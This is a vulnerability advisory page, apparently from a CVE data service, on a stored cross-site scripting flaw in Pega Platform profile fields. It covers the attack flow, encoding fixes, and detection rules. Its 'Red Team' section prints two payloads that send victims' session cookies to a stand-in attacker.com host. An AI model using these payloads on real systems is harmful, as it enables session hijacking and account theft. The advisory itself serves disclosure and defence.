CVE-2024-12211
Executive Summary
CVE-2024-12211 is a stored cross-site scripting (XSS) vulnerability affecting Pegasystems Pega Platform versions 8.1 through Infinity 24.2.0. The vulnerability resides in the user profile functionality, allowing an authenticated attacker with low privileges to inject malicious scripts that persist on the platform. When other users view the compromised profile, the injected script executes in their browser context, potentially leading to session hijacking, data theft, or further lateral movement within the Pega environment. The CVSS score of 5.4 (Medium) reflects the need for authentication and user interaction, but the stored nature of the XSS increases the risk in multi-tenant or high-traffic deployments. No public exploit code or proof-of-concept is currently available, and the vendor has not yet released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product vulnerability in the Pega Platform software. No supply chain implications are identified.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – An attacker needs a valid low-privilege account.
- User Interaction: Required (UI:R) – A victim must view the attacker’s profile.
- Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited ability to modify content.
- Availability Impact: None (A:N) – No denial-of-service impact.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored XSS can be used for targeted attacks against administrators or privileged users, potentially leading to privilege escalation or data exfiltration.
Deep Dive & Mechanics
The vulnerability is a stored XSS (also known as persistent XSS) in the Pega Platform’s user profile feature. The platform allows users to edit their profile information, such as display name, bio, or custom fields. Due to insufficient input sanitization and output encoding, an attacker can inject malicious JavaScript code into these fields. When the profile is saved, the injected code is stored in the database. Subsequently, any user (including administrators) who views the attacker’s profile will have the script executed in their browser.
The attack flow:
- Attacker logs in with a low-privilege account.
- Attacker navigates to the profile editing page.
- Attacker injects a payload like
<script>alert('XSS')</script>into a profile field. - The payload is stored without proper sanitization.
- Victim (e.g., an admin) views the attacker’s profile.
- The script executes in the victim’s browser, potentially stealing session cookies, performing actions on behalf of the victim, or redirecting to a malicious site.
The vulnerability is rooted in the lack of context-aware output encoding when rendering profile data. Pega Platform uses its own UI framework, and the flaw likely exists in a custom component or a misconfigured rich text editor.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (Pega Platform 8.1 - Infinity 24.2.0):
// Example of vulnerable server-side rendering
public String renderProfileField(String userInput) {
// Directly embedding user input without sanitization
return "<div class='profile-field'>" + userInput + "</div>";
}
Patched Code (Hypothetical):
// Example of patched code with output encoding
public String renderProfileField(String userInput) {
// Using a context-aware encoder (e.g., OWASP Java Encoder)
String safeInput = Encode.forHtml(userInput);
return "<div class='profile-field'>" + safeInput + "</div>";
}
The patched version would encode HTML special characters (<, >, &, ", ') to their entity equivalents, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A valid low-privilege account on a vulnerable Pega Platform instance.
- Network access to the platform’s web interface.
Steps:
- Log in to the Pega Platform.
- Navigate to the profile editing page (e.g.,
/prweb/PRServlet/...). - In a profile field (e.g., "Bio" or "Display Name"), inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the profile.
- Wait for an administrator or other user to view the profile.
- The victim’s browser will send a request to
attacker.comwith their session cookie.
Alternative Payload (Session Hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team (Defender)
Detection:
- Monitor for unusual profile update activity, especially from low-privilege accounts.
- Look for profile fields containing
<script>,onerror,onload, or other event handlers. - Use web application firewalls (WAF) to block common XSS patterns.
Mitigation:
- Apply input validation and output encoding on all user-supplied data.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Restrict profile editing to trusted users only.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the Pega server.
- Requests containing
document.cookiein the query string.
- File IOCs:
- Log entries showing profile field updates with HTML/JavaScript content.
- Database records containing
<script>tags in profile fields.
- Behavioral IOCs:
- Multiple failed login attempts followed by profile edits from the same IP.
- Unusual session activity (e.g., admin actions performed from a low-privilege session).
Detection Engineering
YARA Rule
rule CVE_2024_12211_Pega_XSS {
meta:
description = "Detects stored XSS payloads in Pega Platform profile fields"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-12211"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-12211 - Stored XSS in Pega Platform Profile
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Pega Platform profile fields
author: Valters IT
date: 2025-04-10
logsource:
category: web
product: pega
detection:
selection:
http.method: POST
http.url: /prweb/PRServlet/*
http.body|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in rich text editors (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-12211 - Stored XSS Payload in Pega Profile"; flow:to_server,established; content:"POST"; http_method; content:"/prweb/PRServlet/"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable profile editing for non-administrative users until a patch is available.
- Implement a Web Application Firewall (WAF) with rules to block common XSS patterns.
- Enforce Content Security Policy (CSP) headers to restrict script execution (e.g.,
script-src 'self').
Long-Term Fix:
- Apply the official patch from Pegasystems once released.
- Conduct a code review of all user input handling, especially in profile-related components.
- Implement context-aware output encoding using a library like OWASP Java Encoder.
Workaround:
- If patching is not possible, consider using a reverse proxy to sanitize HTTP requests and responses.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.